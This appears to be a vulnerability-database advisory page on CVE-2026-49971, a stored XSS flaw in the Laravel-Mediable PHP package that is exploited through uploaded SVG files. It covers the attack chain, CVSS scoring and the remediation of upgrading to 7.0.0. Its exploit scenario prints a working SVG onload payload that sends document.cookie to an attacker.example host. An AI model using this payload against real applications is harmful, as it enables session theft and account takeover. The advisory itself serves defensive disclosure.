Laravel-Mediable
CVE-2026-49971
MEDIUM
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconUpload crafted SVG with embedded JavaScript to application
-
DeliveryFile stored on server without sanitization
-
ExploitAttacker or application surfaces file link to victim
-
InstallVictim opens or previews SVG inline in browser
-
C2Browser executes embedded script in victim's session context
-
ExecuteSession cookies and CSRF tokens exfiltrated to attacker
-
ImpactAccount takeover using stolen credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concrete conditions to align: (1) the target application uses Laravel-Mediable before 7.0.0; (2) the application permits upload of SVG files (either by anonymous or authenticated users - the description and PR:N metric confirm no privilege prerequisite for the upload step); and (3) the application or a feature within it renders stored SVG files inline in a browser context rather than forcing file download, causing the browser to parse and execute embedded scripts. Exploitation is limited by the passive user interaction requirement (UI:P): a victim with a meaningful session must open or preview the malicious file. Applications that restrict file type to non-SVG formats, serve all media as forced downloads, or use a sandboxed iframe with no-script policy are not exploitable via this vector. Subsequent-system impact is constrained to the victim's browser origin - the server itself is not directly compromised. |
| Impact | The CVSS 4.0 score of 5.3 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N accurately characterises this as a stored XSS affecting the subsequent system (victim browser) rather than the server itself, with limited per-victim confidentiality and integrity impact. The PR:N metric is significant: the description explicitly states both authenticated and anonymous users can upload malicious files, meaning any application with publicly accessible upload endpoints is exposed without requiring a compromised account. The key limiting factor is UI:P - passive user interaction - meaning a victim must open or preview the SVG for the payload to fire; the attack is not fully autonomous. KEV status is not confirmed, and no POC code has been publicly identified at time of analysis; EPSS data was not provided in the input. Despite the moderate CVSS score, the downstream consequences of successful exploitation (session hijack, CSRF, account takeover) are high-impact for affected users, making this a genuine priority for any application that permits SVG uploads and serves them inline to browsers. The risk is lower for deployments that force SVG downloads via Content-Disposition: attachment or that restrict SVG upload entirely. |
| Exploit ScenarioDerived | An attacker submits an SVG file containing the payload <svg xmlns='http://www.w3.org/2000/svg' onload='fetch("https://attacker.example/c?s="+document.cookie)'></svg> to a publicly accessible upload endpoint - no account required if anonymous uploads are permitted. The file is stored unmodified on the server. When an administrator or privileged user navigates to a media browser or file preview feature and the SVG is rendered inline, their session cookie is silently transmitted to the attacker's server, enabling immediate session hijacking and account takeover. No public POC has been identified at time of analysis, but the SVG XSS technique is broadly documented. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 13, 2026
Stored XSS in Laravel-Mediable before 7.0.0 allows network-accessible, unauthenticated attackers to persist malicious JavaScript payloads by uploading crafted SVG files containing embedded scripts in onload handlers, script tags, or foreignObject elements. When any authenticated user subsequently opens or previews a poisoned file in their browser, the payload executes with full DOM access, enabling session cookie theft, CSRF token capture, and complete account takeover. No public exploit has been identified at time of analysis, but the attack requires no special privileges and the technique is well-understood; the vendor has classified this as a security release and strongly recommends immediate upgrade to 7.0.0.
RemediationAI
Upgrade Laravel-Mediable to version 7.0.0, which the vendor has explicitly designated a security release and for which upgrade is strongly recommended. This version adds SvgSanitizer as the default sanitizer for all image/svg+xml uploads, stripping executable JavaScript and other untrusted content before storage; it is enabled by default and can be controlled via the new mediable.file_sanitizers configuration key. If immediate upgrade is not possible, the most effective compensating control is to disable SVG upload entirely by adding svg and image/svg+xml to the application's forbidden file extensions and MIME type blocklist, accepting the trade-off that legitimate SVG uploads will be rejected. A weaker but non-breaking alternative is to configure the web server (nginx or Apache) to serve SVG files with a Content-Disposition: attachment header, forcing download rather than inline rendering and preventing script execution in the browser - note this may break image preview functionality. Do not rely on MIME type sniffing or client-side filtering alone, as browsers will execute embedded scripts in any SVG rendered inline regardless of declared content type. The advisory and patch are at https://github.com/plank/laravel-mediable/releases/tag/7.0.0.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Laravel-Mediable is a PHP package for the Laravel web framework that manages file uploads, storage, and media associations. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to sanitize SVG image content prior to storage. SVG is an XML-based vector format natively executable by browsers: it supports inline JavaScript via <script> elements, event attributes such as onload on the root <svg> element, and script injection through <foreignObject> embedding. When an application stores and subsequently serves user-supplied SVGs directly to browsers without content-stripping, any embedded scripts execute in the document's origin context. The CPE string cpe:2.3:a:plank:laravel-mediable:*:*:*:*:*:*:*:* indicates all versions prior to 7.0.0 are affected. The patch in 7.0.0 introduces a SvgSanitizer class implementing a new SanitizerInterface, which is applied by default to all image/svg+xml uploads and rewrites SVG content to strip executable JavaScript before the file is stored.
Know when Laravel Mediable gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network upload path needs no auth (PR:N); victim must open SVG (UI:R); XSS changes scope to victim browser (S:C) with limited cookie/CSRF impact (C:L/I:L).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Laravel-Mediable before 7.0.0 contains a stored cross-site scripting vulnerability that allows authenticated or anonymous users to execute arbitrary JavaScript by uploading unsanitized SVG files containing embedded scripts in onload event handlers, script tags, or foreignObject elements. Attackers can store persistent XSS payloads in uploaded SVG files that execute with full DOM access when victims open or preview the file, enabling session cookie theft, CSRF token capture, and account takeover.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Affected Products (CPE)CVE.org
More in Laravel Mediable
View allUnauthenticated file upload in Laravel-Mediable 7.0.0 and 7.0.1 lets a remote attacker upload a .pht file that passes Me
Arbitrary file write in the Plank Laravel-Mediable package (before 7.0.0) lets an attacker who influences the destinatio
Remote code execution in the plank/laravel-mediable package before 7.0.0 lets attackers upload a double-extension file s
Server-side request forgery in Laravel-Mediable before 7.0.0 enables network-accessible, low-privilege attackers to issu
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB